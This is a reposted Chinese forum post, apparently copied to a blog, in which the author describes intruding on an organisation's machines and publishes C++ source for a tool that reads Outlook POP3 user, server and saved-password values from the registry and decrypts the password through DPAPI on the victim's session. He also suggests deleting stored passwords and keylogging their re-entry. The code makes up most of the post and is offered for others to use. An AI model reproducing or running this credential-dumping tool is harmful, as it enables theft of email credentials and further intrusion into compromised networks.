zoukankan      html  css  js  c++  java
  • VC 解密OUTLOOK pop3保存注册表密码

    原文连接:https://forum.90sec.org/forum.php?mod=viewthread&tid=8410

    作者:Agile

    用过OUTLOOK的人都知道,OUTLOOK的密码会以二进制的方式保存在注册表里,而我们只要找到注册表的值,是可以直接解密成铭文的。
    这几天一直在搞一台个人机,这台机器关系人物是这样的。

    A集团。

    B集团。

    我已经控制了B集团,但是B集团里有人还在A集团里干事,我比较喜欢A集团,所以得把B集团的远程访问内部的账户密码难道,其中就包括啦 OUTLOOK的密码。

    但是一般用户在设置的时候,OUTLOOK密码是默认记住的,以下是几种办法:

    OUTLOOK密码保存那儿,方式一般分3种把?(如果说错了请见谅)

    1:IMAP
    2:POP3
    3:SMTP

    今天研究了一天,觉得还是没问题的,办法如下:

    Ps:很多人说网上工具不少,工具确实不少,但是你知道工具原理是怎么做的吗? 工具免杀吗?工具有后门吗? 这些都是一个问题,所以我才写这个小工具

    1:找到PASSWORD的值,删了,键盘记录,直接记录下了。

    2:直接找到地址,解密PASSWORD的值

    目前我就想到这2种方式,本来之前zcgonvh和我说的时候,我说:不能直接把注册表值DUMP本地来破解吗?

    zcgonvh  的回复是:不可以,必须在目标机器目标用户解密
    dpapi用的是rsa/dsa+3des/aes,默认是rsa+3des。本地有一个与用户sid、机器全局guid关联的key用作解密,即使拷出来由于不同机器的用户sid和guid不同也会导致无效,光复制数据的话肯定是解密不了的。

    所以这种方式我也没试过。

    代码写的很粗糙,因为基础不行,所以给一些需要的人用。
    Code:

    #include "stdafx.h"
    #include <windows.h>
    #include <iostream>
    #include <cstdlib>
    #include <stdio.h>
    using namespace std;
    #pragma comment(lib, "crypt32.lib") 
     
    WINCRYPT32API
            BOOL
            WINAPI
            CryptUnprotectData(
            __in            DATA_BLOB*      pDataIn,             // in encr blob
            __deref_opt_out_opt LPWSTR*     ppszDataDescr,       // out
            __in_opt        DATA_BLOB*      pOptionalEntropy,
            __reserved      PVOID           pvReserved,
            __in_opt        CRYPTPROTECT_PROMPTSTRUCT*  pPromptStruct,
            __in            DWORD           dwFlags,
            __out           DATA_BLOB*      pDataOut
            );
     
    void opt(char* prog)
    {
            printf("Welcome [url=http://www.90sec.org]www.90sec.org[/url]
    ");
            printf("[-]:%s Get_pop3 passwords
    ",prog);
    }
     
    int main(int argc,char* argv[])
    {
            opt(argv[0]);
            printf("
    ");
            HKEY hKey;     
            LPCTSTR lpRun = L"Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Test\9375CFF0413111d3B88A00104B2A6676\00000002";
            //READ POP3 DATA define
            //----------------------------------------
            DWORD sizeBuff = 1000; //read length
            DWORD dwtype = REG_BINARY; // reg type
            BYTE reBuff[1000] = {0}; //save string length
            long lRet; //Reg return values
            BYTE SmtpServer[200] = {0}; //read reg String length
            DWORD SMtplen = 200; //DWORD reg read length
            BYTE SmtpUser[200] = {0};//read reg String length
            DWORD SMtpUserlen = 200; //DWORD reg read length
            //------------------------------------------
     
            lRet= RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_READ, &hKey); //open reg
            if (lRet != ERROR_SUCCESS)
            {
                    printf("RegOpenKeyEx Failed
    ");
                    return 0;
            }else
            {
                    printf("RegOpenKeyEx Ing.....
    ");
            }
     
            if (RegQueryValueEx(hKey,L"POP3 User",0,&dwtype,SmtpUser,&SMtpUserlen) == ERROR_SUCCESS) //query Pop3 Server address
            {
                    //cout << "Smtp User:" << SmtpServer << endl;
                    printf("POP3 User:%S
    ",SmtpUser);//print Pop3 user
            }
     
            if (RegQueryValueEx(hKey,L"POP3 Server",0,&dwtype,SmtpServer,&SMtplen) == ERROR_SUCCESS) //query Pop3 Server address
            {
                    //cout << "Smtp User:" << SmtpServer << endl;
                    printf("Smtp Server:%S
    ",SmtpServer);//print server address
            }
     
            if(RegQueryValueEx(hKey,L"POP3 Password",0,&dwtype,reBuff,&sizeBuff) == ERROR_SUCCESS) //query POP3 password
            {
                    DATA_BLOB DataPassword;
                    DATA_BLOB DataOutput;
                    DataPassword.cbData = sizeBuff -1;
                    DataPassword.pbData = &reBuff[1];
                    if(CryptUnprotectData(&DataPassword,0,0,0,0,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt pop3 password
                    {
                            //cout << DataOutput.pbData << endl;
                            wcout << "POP3 Password: " << (wchar_t*)DataOutput.pbData;   //print password
                    }else
                    {
                            cout << "Read error
    " << endl; //error
                            return 0;
                    }
                    return 0;
    }
     
            RegCloseKey(hKey);
            return 0;
    }

    如果是其他方式,改改代码就好了,就是路径问题。没有遍历注册表,查找值,有功底的改改把。
    具体可以看这儿:http://securityxploded.com/outlookpasswordsecrets.php

  • 相关阅读:
    HDU_1711 Number Sequence(KMP)
    快速排序+归并排序
    贪心算法
    HDU_1496 Equations && POJ_1840 Eqs(Hash)
    POJ_1328 Radar Installation(贪心)
    HDU_1055 && POJ_2054 Color a Tree(贪心)
    HDU_1754 I Hate It (线段树)
    哈希(Hash)表学习笔记
    jQuery插件datepicker的使用详解
    json总结
  • 原文地址:https://www.cnblogs.com/hookjoy/p/4337161.html
Copyright © 2011-2022 走看看